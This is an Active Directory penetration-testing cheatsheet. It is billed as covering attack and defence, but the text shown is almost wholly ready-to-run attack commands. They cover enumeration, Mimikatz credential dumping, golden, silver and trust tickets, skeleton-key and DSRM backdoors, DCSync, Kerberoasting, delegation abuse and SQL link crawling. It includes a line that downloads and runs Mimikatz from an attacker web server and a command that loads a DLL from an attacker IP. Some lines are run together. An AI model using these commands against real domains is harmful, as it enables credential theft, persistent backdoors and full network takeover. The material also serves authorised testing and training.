invoke# Attacking and Defending Active Directory - A Cheatsheet A list of commands, tools and notes about enumerating and exploiting Active Directory and how to defend against these attacks.
Massive kudos to the following people that I've taken a lot of this from:
S1ckB0y1337 from the awesome cheatsheet here https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
Nikhal Mittal http://www.labofapenetrationtester.com/ and the course from Pentester Academy.
This is absolutely key, and you should always come back to this step any time you escalate to a new user or gain access to a new machine.
PowerView makes things a little more easy, but can be picked up by AMSI and therefore might make things a little more noisy in a real engagement if you attempt to bypass this.
- Get Current Domain
Get-NetDomain
- Get information about a different domain
Get-NetDomain -Domain <DomainName>
- Get Domain SID
Get-DomainSID
- Get Domain Controllers
Get-NetDomainController
Get-NetDomainController -Domain <DomainName>
- Get Domain Policies
Get-DomainPolicy
- Get Password policy (useful for not locking accounts in a brute force or password spray scenario)
(Get-DomainPolicy)."system access"
- Get Kerberos policy (useful for things like Golden Ticket attacks)
(Get-DomainPolicy)."kerberos policy"
- Get Current Domain
Get-ADDomain
- Get information about a different domain
Get-ADDomain -Identity <Domain>
- Get Domain SID
(Get-ADDomain).DomainSID
- Get Domain Controllers
Get-ADDomainController
- Get Domain Controllers from a different domain
Get-ADDomainController -Identity <DomainName>
- Show all users
Get-NetUser
- Show a particular user
Get-NetUser -SamAccountName <user>
Get-NetUser -Username <user>
Get-NetUser | select cn
- Get a list of all properties for users
Get-Userproperty
- Show the samaccountname field from all users from a specified domain
Get-netuser -domain <domainName> | select -expandproperty samaccountname
- Show last password change
Get-UserProperty -Properties pwdlastset
- Show logon count of a user (handy for detecting decoy or stale accounts)
Get-UserProperty -Properties logoncount
- Search for a string in a user's attribute
Find-UserField -SearchField Description -SearchTerm "pass"
Find-UserField -SearchField Description -SearchTerm "built"
- Find users with sessions on a machine
Get-NetLoggedon -ComputerName <ComputerName>
- Enumerate sessions on a machine
Get-NetSession -ComputerName <ComputerName>
- Enumerate the domain to look for user sessions
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
- Show a user's properties
Get-ADUser -Identity <user> -Properties *
- Search for a string in a user's attribute
Get-ADUser -Filter 'Description -like "*pass*"' -Properties Description | select Name,Description
Get-ADUser -Filter 'Description -ne $null' -Properties Description | select Name,Description
- Get a list of all properties for users
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
- Show the last password set date for users
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
- Show users with password not required attribute set
Get-ADUser -Filter 'PasswordNotRequired -eq $True' -Properties PasswordNotRequired | select Name,PasswordNotRequired
- List all computer objects in the domain
Get-NetComputer -Domain <domainName>
- Show all properties of computer objects in the domain
Get-NetComputer -FullData
- Enumerate live machines
Get-Netcomputer -Ping
- Look for stale computer objects
Get-NetComputer -FullData | select dnshostname,lastlogon
- Get actively logged on users on a computer (needs local admin rights on the target)
Get_NetLoggedOn -ComputerName <computername>
- Get locally logged on users on a computer (needs remote registry on the target - this is enabled by default on Server OSes)
Get-LoggedonLocal -ComputerName <computername>
- Get the last logged on user on a computer (needs admin rights and remote registry on the target)
Get-LastLoggedOn -Computername <computername>
- List all computer objects in the domain
Get-ADComputer -Filter * | select name
- Show all properties of computer objects in the domain
Get-ADComputer -Filter * -Properties *
- List all Server 2016 computer objects
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
- Enumerate live machines
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
-
Get all groups in the current domain
Get-NetGroup
Get-DomainGroup
Get-NetGroup -Domain <targetdomain>
-
List all groups with admin in the name
Get-NetGroup *admin*
Get-DomainGroup *admin* | select distinguishedname
-
Get attributes of a group
Get-NetGroup -GroupName <GroupName> -FullData
-
Get group members (recurse includes nested group membership)
Get-NetGroupMember -GroupName "<GroupName>" -Recurse -Domain <DomainName>
Built-In Groups are good to check for membership e.g. Remote Desktop Users, Server Operators, Print Operators etc -
Domain Admins (members and properties)
Get-NetGroupMember -GroupName "Domain Admins" -Recurse | select -expandproperty membername
-
Enterprise Admins (members and properties)
- First establish the forest domain name, then query the Enterprise ADmins
get-netforestdomain -verbose
get-netgroupmember -groupname "Enterprise Admins" -domain <forestdomain> -recurse | select -expandproperty membername
- First establish the forest domain name, then query the Enterprise ADmins
-
Get group membership for a user
Get-NetGroup -Username "<username>"
- Get local groups on a machine (needs local admin privs)
Get-NetLocalGroup -ComputerName <computername> -ListGroups
- Get members of local groups on a machine (needs local admin privs)
Get-NetLocalGroup -ComputerName <computername> -Recurse
- Find local admins on all machines in the domain (needs admin privileges)
Invoke-EnumerateLocalAdmin
- Get all groups in the current domains
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
- List all groups with admin in the name
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
- Get group members (recursive includes nested group membership)
Get-ADGroupMember -Identity "Domain Admins" -Recursive
- Get group membership for a user
Get-ADPrincipalGroupMembership -Identity <username>
- Get all fileservers in the domain (lots of users log into these, lots of creds available if you can compromise a file server, as well as l00t!)
Get-NetFileServer
- Enumerate Domain Shares
Find-DomainShare
Invoke-ShareFinder
- Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
- Enumerate "Interesting" Files on accessible shares
Find-InterestingDomainShareFile -Include *passwords*
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC –Verbose
Invoke-FileFinder
- Check ACLs for a path
Get-PathAcl -Path "\\Path\Of\A\Share"
- To list all the OUs we will use
Get-NetOU -FullData
- To find out what machines are in a particular OU
Get-NetOU <OUName> | %{Get-NetComputer -ADSPath $_}
- List GPOs assigned to an OU
(get-netou <OUName> -fulldata).gplink
# Copy the ADSPath
Get-NetGPO -ADSPath '<adspath>'
Get-ADOrganizationalUnit -Filter * -Properties
It is not possible to enumerate the settings within a GPO from any command line tool. The closest thing is to export RSoP with Get-GPResultantsetOfPolicy.
Get-NetGPO -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
Get-NetGPO | select displayname
Get-NetGPO -ComputerName <computername>
- List GPOs assigned to an OU
(get-netou <OUName> -fulldata).gplink
# Copy the ADSPath
Get-NetGPO -ADSPath '<adspath>'
- Get GPOs which use Restricted Groups or groups.xml for interesting users (Restricted Groups add domain users to machine local groups via GPO. These can identify attractive targets for compromise.)
Get-NetGPOGroup -Verbose
- FInd users that are part of a machines's local admins group
Find-GPOComputerAdmin -ComputerName <ComputerName>
- Get machines where the given user is a member of a specific group `Find-GPOLocation -UserName -Verbose
- Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
- Enumerate GPOs where a specified user or group has interesting permissions
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ?{$_.IdentityReference -match "<user>"}
Get-GPO -All
- Get RSoP report
Get-GPResultantsetOfPolicy -ReportType Html -Path <outfile>
- Return the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
- Return ACLs with a specified prefix for search
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
- Return ACLs for the Domain Admins group
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs
- Return ACLs for the Users group, just displaying the ActiveDirectoryRights field
Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs | select -expandproperty IdentityReference ActiveDirectoryRights
- Return ACLs the a specific user has rights to
Get-ObjectACL -ResolveGUIDs | ?{$_.IdentityReference -like "*compromisedusername*"}
- Enumerate ACLs for all GPOs
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
- Search for interesting ACEs (looks for anything with write access)
Invoke-ACLScanner -ResolveGUIDs
- Check ACLs for a path
Get-PathAcl -Path "\\server\path"
- Enumerate GPOs where a specified user or group has interesting permissions
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ?{$_.IdentityReference -match "<user>"}
- Check for modify rights/permissions for a specified user or group
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "<user>"}
- Enumerate all domains in the forest
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>
- Map the Trusts in the forest
Get-NetForestTrust
Get-NetForestTrust -Forest <ForestName>
Get-NetDomainTrust
Get-NetForestDomain -Verbose | Get-NetDomainTrust
- List External Trusts
Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
Get-NetDomainTrust -Domain <domainName>
- Enumerate the Domain Trusts
Get-ADTrust -Filter *
Get-ADTrust -Identity <DomainName>
- Enumerate Forest trusts
Get-ADForest
Get-ADForest -Identity <ForestName>
- List all the domains in the forest
(Get-ADForest).Domains
You can look to see where else your current user has local admin access. This is very noisy.
- Find all machines in the current domain where the current user has local admin access
Find-LocalAdminAccess
- The Find-LocalAdminAccess command uses the following command coupled with Get-NetComputer under the hood
Invoke-CheckLocalAdminAccess
If RPC an SMB are blocked you can use WMI or PSRemoting
-
Nishang (https://github.com/samratashok/nishang) has
Find-PSRemotingLocalAdminAccess
-
With WMI
Find-WMILocalAdminAccess
-
Find computers where a domain admin (or other user/group) has a session (does not require admin privileges to query sessions, but does to find logged on users)
Invoke-UserHunter
Invoke-UserHunter -GroupName "<GroupName>"
-
Find computers with a domain admin session and then checks to see if the current user has local admin access on that computer
Invoke-UserHunter -CheckAccess
-
Find users on high value targets (e.g. Domain Controllers, File Servers) (less noisy)
Invoke-UserHunter -Stealth
-
Setup a rolling check for a user logon
Invoke-UserHunter -ComputerName <targetserver> -Poll 100 -UserName <targetuser> -Delay 5
-
Find local admins on all machines in the domain (needs admin privileges)
Invoke-EnumerateLocalAdmin
- Review Local AppLocker Effective Policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Once you've established a connection to a target machine, you may need to escalate to Administrator, or another local user. Getting Administrative privileges can enable you to do things such as switch off AV, install tools and services, as well as grab credentials from other user's with local sessions straight out of memory. All the good stuff basically.
Things to check:
- Missing patches
- Automated deployment or AutoLogon passwords in clear text
- AlwaysInstallElevated permissions
- Misconfigured services
- DLL Hijacking
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc
. .\PowerUp.ps1
There are many more options available inside PowerUp than are listed below. It's advised to read the ReadMe above for the latest information and functions.
Note - PowerUp and PowerView can conflict so it is not advised to run both modules in the same session.
PowerUp can run through its list of escalation vectors and check if any are possible on the machine
Invoke-AllChecks
PowerUp can also automate the process
Invoke-PrivEsc
- Find local services that are configured with unquoted whitespace. This weak configuration allows us to inject a malicious process into the path.
Get-ServiceUnquoted
- If we have the permissions to modify a service we can change the path to a malicious executable. PowerUp allows us to easily check for this.
Get-ModifiableService
- The abuse function adds our current user to the local Administrators group. It will also restore the abused service back to its original state to try to avoid detection
Invoke-ServiceAbuse -Name '<servicename>' -UserName '<usertoescalate>'
- Log off and on again to get local admin
- Check the admin group
net localgroup Administrators
https://github.com/AlessandroZ/BeRoot
- Run BeRoot.exe
PowerShell Remoting needs local admin access, and is enabled by default on Servers.
It can be enabled on workstations using
Enable-PSRemoting
- Connect to a server using PowerShell Remoting
Enter-PSSession <servername>
- Create a session for reuse
$sessionname = New-PSSession <targetserver>
- Enter the saved session
Enter-PSSession $sessionname
- Run commands on a remote server
Invoke-Command -ScriptBlock{whoami;hostname} -ComputerName <computer-name>
- Run scripts on a remote server (encodes in base64 scriptblock and runs in memory on the target)
Invoke-Command -FilePath c:\scripts\script.ps1 -ComputerName <computer-name>
- Run locally loaded functions on remote machines
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName <computer-name>
- Pass positional arguments to locally loaded functions on remote machines
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName <computer-name> - ArgumentList
- Run "Stateful" commands on a remote session
# Create a session
$sessionname = New-PSSession <targetserver>
# Execute the command in the session and save to a variable
Invoke-Command -Session $sessionname -ScriptBlock {$Proc = Get-Process}`
# Execute the command variable in the session
Invoke-Command -Session $sessionname -ScriptBlock {$Proc}
# Treat the variable like the route function as required
Invoke-Command -Session $sessionname -ScriptBlock {$Proc.Name}
All of the One-to-One commands can be run in parallel on multiple targets by providing a list.
- Run commands on a list of servers
Invoke-Command -ScriptBlock{whoami;hostname} -ComputerName (Get-Content <listofservers>
) - Run scripts on a list of remote servers
Invoke-Command -FilePath c:\scripts\script.ps1 -ComputerName (Get-Content <listofservers>)
All of the above commands can have the credentials entered manually when prompted. It can be easier to save these to a variable.
$securepassword = ConvertTo-SecureString '<password123>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<domain>\<username>', $SecPassword)
Invoke-Command -ComputerName <computer-name> -Credential $Cred -ScriptBlock {whoami}
We can use Mimikatz remotely to extract credentials and do all kinds of other cool stuff.
- Dump credentials on local machine
Invoke-Mimikatz
OrInvoke-Mimikatz -Command '"sekurlsa::ekeys"'
- Dump credentials on remote machines (uses Invoke-Command in the background)
Invoke-Mimikatz -ComputerName <computername>
Note if you are running this from a reverse shell you will need to setup a New-PSSession to the target machine e.g.
iex (iwr http://<webserver>/Invoke-Mimikatz.ps1 -UseBasicParsing)
$sess = New-PSSession -ComputerName <targetserver>
Invoke-Command -ScriptBlock {$function:Invoke-Mimikatz} -Session $sess
- On multiple targets
Invoke-Mimikatz -ComputerName @("sys1", "sys2")
- Over pass the hash and start a new PowerShell process as the target user
Needs to be run from an elevated shell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<ntlmhash> /run:powershell.exe"'
You are now authenticated as the target user, but to run commands on the target server as that user use:
Enter-PSSession <targetserver>
whoami
You've reached Domain Admin, let's see if you can stay there in case your entry point gets cleaned up. If you wanna take a swing at the King, you better not miss!
- Execute Mimikatz on DC as DA to get krbtgt hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername <domaincontroller>
- Use it
Invoke-Mimikatz -Command '"kerberos::golden /User:<any-username-youwant> /domain:<domainname> /sid:<domainSID> /krbtgt:<krbtgt-ntlm-hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
/endin and /renewmax parameters are optional, but for good opsec these should match the target domain kerberos policy. /ptt will use the ticket in the current process, /ticket can be used to save the kerberos ticket to disk.lsadump::dcsync
can be used instead oflsadump::lsa /patch
and can be more silent, although might get picked up by other defences. - That gives you DA privileges in the current session. Check by running commands e.g.:
ls \\<domaincontroller>\c$
ORgwmi -Class win32_computersystem -ComputerName <domaincontroller>
While technically a Persistence technique, there are circumstances that might present privilege escalation routes.
- Use Mimikatz to generate a Silver ticket for the CIFS services on a target server.
Invoke-Mimikatz -Command '"kerberos::golden /domain:<domainname> /sid:<domainSID> /target:<targetserver> /service:cifs /rc4:<ntlm hash of service account> /user:Administrator /ptt"'
- For WMI we need two tickets, for HOST and RPCSS
Invoke-Mimikatz -Command '"kerberos::golden /domain:<domainname> /sid:<domainSID> /target:<targetserver> /service:HOST /rc4:<ntlm hash of service account> /user:Administrator /ptt"'
Invoke-Mimikatz -Command '"kerberos::golden /domain:<domainname> /sid:<domainSID> /target:<targetserver> /service:RPCSS /rc4:<ntlm hash of service account> /user:Administrator /ptt"'
Now you can run WMI commands:Get-WmiObject -Class win32_operatingsystem -ComputerName <targetserver>
The Skeleton Key attack injects a skeleton key password into the DC LSASS process which allows access to any valid user in the domain with the skeleton key password.
- Inject the Skeleton Key 'mimikatz' using...Mimikatz
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <targetDC>
This allows you to login as any user with the password 'mimikatz'.
Abusing the DSRM account can give you persistent access to the DC.
- Dump DSRM password (needs DA privs)
Enter-PSSession -Session $sess
- bypass AMSI
Invoke-Command -FilePath C:\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession -Session $sess
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
- Edit the registry on the DC to enable the DSRM account to logon
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
- Pass the hash from your attacker machine to
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:<targetdchostname> /user:Administrator /ntlm:<ntlmhash> /run:powershell.exe"'
- Access the DC from the attacker machine
ls \\<targetdc>\c$
This attack is only really much good as a Proof of Concept out of the box, and would require some source code in mimilib.dll editing to store the credentials somewhere that could be reached if used in an engagement.
- Save the mimilib.dll in the system32 folder on the DC
- Add it to the Security Packages in the registry
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' | select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages
This can also be injected into lsass (unstable with Server 2016
Invoke-Mimikatz -Command '"misc::memssp"'
- Add FullControl permissions for a user to the AdminSDHolder using PowerView
Add-ObjectACL -TargetADSprefix 'CN=AdminSDHolder, CN=System' -PrincipalSamAccountName '<username>' -Rights All
- Using RACE toolkit (https://github.com/samratashok/RACE):
Set-DCPermissions -Method AdminSDHolder -SAMAccountName <user> -Right GenericAll -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local'
- Check if the user has replication rights (powerview). No output means that it doesn't have the permissions.
Get-ObjectAcl -DistinguishedName "<domainDN>" -ResolveGUIDs | ? {($_.IdentityReference -match "<username>") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
- Add the rights if you have sufficient access (Domain Admin)
- Powerview
Add-ObjectAcl -TargetDistinguishedName "<domainDN>" -PrincipalSamAccountName <username> -Rights DCSync -Verbose
- AD Module and RACE
Set-ADACL -SamAccountName <username> -DistinguishedName '<domainDN>' -GUIDRight DCSync
- Powerview
- Extract hashes or krbtgt (or any other user) using the DCSync rights and Mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Using the RACE toolkit (https://github.com/samratashok/RACE)
. .\Set-RemoteWMI.ps1
- Grant a user access to WMI on the local computer (requires admin privileges)
Set-RemoteWMI -SamAccountName <username>
- Grant a standard user WMI privileges to access a remote computer (requires admin on the remote server to set the privileges)
Set-RemoteWMI -UserName <username> -ComputerName <servername> -namespace 'root\cimv2'
- Allow access to WMI on remote machine with explicit credentials
Set-RemoteWMI -SamAccountName <username> -ComputerName <servername> -Credential <Administrator> -namespace 'root\cimv2'
- Now view information of the server using WMI as the standard user that was granted access
gwmi -class win32_operatingsystem -ComputerName <servername>
- You can also start a process on the remote server using WMI
Invoke-WMIMethod -Class win32_process -Name Create -ArgumentList calc.exe -ComputerName <servername>
- Remove permissions on remote computer
Set-RemoteWMI -SamAccountName <username> -ComputerName <servername> -namespace 'root\cimv2' -Remove
- Grant user access to PSRemoting on local machine
. .\Set-RemotePSRemoting.ps1
Can show an IO error when run, but this does not mean it was not successfulSet-RemotePSRemoting -SamAccountName <username>
- Grant user access to PSRemoting on remote machine
Set-RemotePSRemoting -Username <username> -ComputerName <servername>
- Now you can run PowerShell commands on the remote computer
Invoke-Command -ScriptBlock{whoami} -ComputerName <servername>
- Remove the permissions on a remote machine
Set-RemotePSRemoting -SamAccountName <username> -ComputerName <servername> -Remove
To abuse the remote permissions and retrieve hashes you can use the DAMP toolkit (part of RACE toolkit)
. .\DAMP-master\Add-RemoteRegBackdoor.ps1
- Add the required registry keys to gain access to the hashes
Add-RemoteRegbackdoor -ComputerName <servername> -Trustee <username>
- As the "Trustee" (low priv user) retrieve the machine account hash in order to use this for a Silver Ticket
Performing this on the remote machine requires the remote registry to be enabled (default on servers)
. .\DAMP-master\RemoteHashRetrieval.ps1
Get-RemoteMachineAccountHash -ComputerName <servername>
You can work around this if it is disabled using PSRemoting
$sess = New-PSSession <servername>
Invoke-Command -FilePath c:\tool\RACE.ps1 -Session $sess
Enter-PSSession $sess
Get-RemoteMachineAccountHash
- Retrieve local account hash
Get-RemoteLocalAccountHash -ComputerName <servername>
- Retrieve domain cached credentials
Get-RemoteCachedCredential -ComputerName <servername>
- Find user accounts that are used as kerberos service accounts
Get-NetUser -SPN
- Request a TGS for the service (crack these with John or Hashcat)
Request-SPNTicket
- Find user accounts that are used as kerberos service accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
- Request a TGS for the service
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"
- Save the ticket to disk
Invoke-Mimikatz -Command '"kerberos::list /export"'
- Brute force using TGSRepCrack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\<ticketname.kirbi>
- If you have permissions you can set an SPN with the AD module for targeted Kerberoasting
Set-ADUser -Identity <targetuser> -ServicePrincipalNames @{Add='whatever/whatever1'
. .\PowerView_dev.ps1
- Enumerate accounts where your user or Group has GenericWrite or GenericAll permissions
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<user/groupname>"}
- Force set an SPN (just needs to be string\string no other validation is performed) e.g. fake/service
Set-DomainObject -Identity <targetuser> -Set @{serviceprincipalname='whatever/whateverX'}
- Request a TGS for that SPN
Get-DomainUser -Identity <targetuser> | Get-DomainSPNTicket | select -ExpandProperty Hash
. .\PowerView_dev.ps1
- Enumerate accounts with Kerberos Pre-Auth disabled
Get-DomainUser -PreauthNotRequired
- Enumerate accounts where your user or Group has GenericWrite or GenericAll permissions
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<user/groupname>"}
- Force the DoesNotRequirePreAuth attribute
Set-DomainObject -Identity <targetusername> -XOR @{useraccountcontrol=4194304}
- Enumerate accounts with Kerberos Pre-Auth disabled
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
- Get the AS-REP Hash
Get-ASREPHash -UserName <username>
- Brute Force the hash
john <hashfile.txt> --wordlist=wordlist.txt
- Find machines that have unconstrained delegation enabled (NB DCs will always show unconstrained delegation as enabled)
Get-NetComputer -Unconstrained
- Find machines that have unconstrained delegation enabled (NB DCs will always show unconstrained delegation as enabled)
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
Presuming that we've already have the hash of a user that is an admin on the server that has unconstrained delegation enabled.
- Over Pass the hash to the server
Invoke-Mimikatz -Command '"sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<userhash> /run:powershell.exe"'
- Setup a PSSession to the target server and load Mimikatz
$sess = New-PSSession -ComputerName <targetserver>
Enter-PSSession -Session $sess
# BYPASS AMSI
exit
Invoke-Command -FilePath c:\tools\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession -Session $sess
- Extract the tickets and hope for DA (this can be influenced with the printer bug)
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
- If there's a ticket you want to re-use play Pass the ticket with Mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt c:\path\to\ticket.kirbi"'
- Copy Rubeus to the compromised server (You will likely need to disable AV)
Copy-Item -ToSession $sess -Path <source> -Destination <destination>
- On the compromised server capture the TGT of the connecting server using Rubeus (https://github.com/GhostPack/Rubeus)
.\Rubeus.exe monitor /interval:5 /nowrap
- Force the connection of the DC to the compromised server using MS-RPRN.exe (https://github.com/leechristensen/SpoolSample)
.\MS-RPRN.exe \\<targetDC> \\<compromisedserver>
- Copy the Base64 encoded ticket of the targetDC, remove spaces and newlines and save the ticket
- Pass the ticket using Rubeus on the attacker machine
.\Rubeus.exe ptt /ticket:<TGTofDC>
- Once you have access as the DC machine account, run a DCSync to extract any or all users (get KRBTGT and you have Golden Ticket)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<domain\useraccounttoretrieve>"'
- Enumerate users and computers with constrained delegation enabled
- using PowerView (dev)
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
- using AD module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
- using PowerView (dev)
- Presuming we already have either the plaintext or hash of the password for the user with delegation enabled
- use Kekeo to request a TGT for the service
.\kekeo.exe
tgt::ask /user:<userthatcandelegate> /domain:<domain> /rc4:<userhash>
- Now request a TGS for the service using a Domain Admin account
s4u /tgt:<tgt.kirbi> /user:<targetuser>@<targetdomain> /service:<targetSPN>
- We should now have a TGS as the Domain Admin. Use Mimikatz to pass the ticket
Invoke-Mimikatz -Command '"kerberos::ptt <tgsticket.kirbi>"'
- This gives us DA access to the target service (e.g. CIFS)
ls \\<targetserver>\c$
- use Kekeo to request a TGT for the service
- Use Rubeus for the same thing
.\Rubeus.exe s4u /user:<userthatcandelegate> /rc4:<ntlmhash> /impersonateuser:<targetuser> /msdsspn:"<targetSPN>" /ptt
- For delegated machine accounts request an alternate service (e.g. ldap/host/rpcss/http) that is running as the same service account that the delegated SPN is
- With Kekeo
tgt::ask /user:<machinethatcandelegate> /domain:<domain> /rc4:<userhash>
tgs::s4u /tgt:<tgt.kirbi> /user:<targetuser>@<targetdomain> /service:<delegatedSPN|ldap/targetcomputername>
Invoke-Mimikatz -Command '"kerberos::ptt <tgsticket.kirbi>"'
- With Rubeus
.\Rubeus.exe s4u /user:<machinethatcandelegate> /rc4:<ntlmhash> /impersonateuser:<targetuser> /msdsspn:"<targetSPN>" /altservice:ldap /ptt
- Now we have access as the dcmachine account
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<domain>\krbtgt"'
- With Kekeo
- Enumerate members of the DNSAdmins Group
- With Powerview
Get-NetGroupMember -GroupName "DNSAdmins"
- With AD Module
Get-ADGroupMember -Identity DNSAdmins
- With Powerview
- As the user that is in the DNSAdmins group
- Using dnscmd.exe (requires RSAT DNS)
dnscmd <target-dc> /config /serverlevelplugindll \\attackerIP\mimilib.dll
- Using DNSServer module (needs RSAT DNS)
- Using dnscmd.exe (requires RSAT DNS)
$dnsettings = Get-DNSServerSetting -ComputerName <target-dc> -All
$dnsettings.ServerLevelPluginDLL = "\\<attackerIP>\mimilib.dll"
Set-DNSServerSetting -InputObject $dnsettings -ComputerName <target-dc>
- Restart the DNS Service
sc \\<target-dc> stop DNS
sc \\<target-dc> start DNS
You can find the RC4 Trust Key for a domain using any of the following commands *It is the in key you generally want e.g. [in] source domain -> target domain
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -computername <domaincontroller>
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<domain\username>"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Create the Inter-Realm TGT and inject Administrator account into the SID History
Invoke-Mimikatz -Command '"kerberos::golden /user:<usertoimpersonate> /domain:<currentdomain> /sid:<currentdomainSID> /sids:<SIDofenterpriseadmingroupontarget> /rc4:<trustkeyhash> /service:krbtgt /target:<targetdomainFQDN> /ticket:<path/to/tickettosave.kirbi>"'
Use the ticket to create a TGS for CIFS on the parent domain- Using Kekeo
- Request the TGS
.\asktgs.exe C:\AD\trust_tkt.kirbi CIFS/<parentdomaindc>
- Present the TGS to the target service
.\kirbikator.exe lsa .\<savedticket.kirbi>
ls \\<parentdomain-dc>\c$
- Using Rubeus
- Request and use the TGS using the trust key ticket created earlier
.\Rubeus.exe asktgs /ticket:C:\AD\trust_tkt.kirbi /service:CIFS/<parentdomaindc> /dc:<parentdomain-dc> /ptt
You can also inject the SIDHistory of Enterprise Admins group as part of a golden ticket attack
Invoke-Mimikatz -Command '"kerberos::golden /user:<usertoimpersonate> /domain:<currentdomain> /sid:<currentdomainSID> /sids:<SIDofenterpriseadmingroupontarget> /krbtgt:<currentdomainkrbtgthash> /ptt"'
Now run commands as enterprise admin on the parent domain:
gwmi -class win32_operatingsystem -computername <parentdc>
You can also avoid detection by impersonating the Domain Controller and the Domain Controllers group
(SID 516 is domain controllers group, S-1-5-9 is Enterprise Domain Controllers SID)
Invoke-Mimikatz -Command '"kerberos:golden /user:<currentdomaindc$> /domain:<currentdomain> /sid:<currentdomainsid> /groups:516 /sids:<currentdomaindomaincontrollersgroupSID>,S-1-5-9 /krbtgt:<currentdomainkrbtgthash> /ptt"'
Profit:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<parentdomain>/Administrator /domain:<parentdomain>"'
SID History won't work over a forest trust due to SID filtering.
Use Rubeus to inject a Trust ticket with Mimikatz as above, into a TGS request across a Forest trust and access a CIFS shared service
.\Rubeus.exe asktgs /ticket:<path\to\trust_ticket.kirbi> /service:cifs/<otherdomaindc.domain.com> /dc:<otherdomaindc> /ptt
ls \\otherdomaindc.domain.com\share
github.com/NetSPI/PowerUpSQL
- Enumerate SQL Servers by SPN Scanning
Get-SQLInstanceDomain
- Check Accessibility
Get-SQLConnectionTestThreaded
- Combine the two
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
- Get Server Information to see if we have access (look for "IsSysAdmin" or other interesting privileges)
Get-SQLInstanceDomain | Get-SQLServerInfo
- Using something like HeidiSQL (portable), login and look for database links to other servers
select * from master..sysservers
- Enumerate further links from there
select * from openquery("<nextSQLserver>",'select * from master..sysservers')
- and continue along the links
select * from openquery("<nextSQLserver>",'select * from openquery("<nextSQLserver2>",''select * from master..sysservers'')')
- PowerUpSQL can enumerate the links also
Get-SQLServerLink -Instance <target-SQL>
- Automatically crawl SQL Server Links
Get-SQLServerLinkCrawl -Instance <target-sql>
- Where xp_cmdshell or RPC is enabled, execute commands within the CustomQuery field
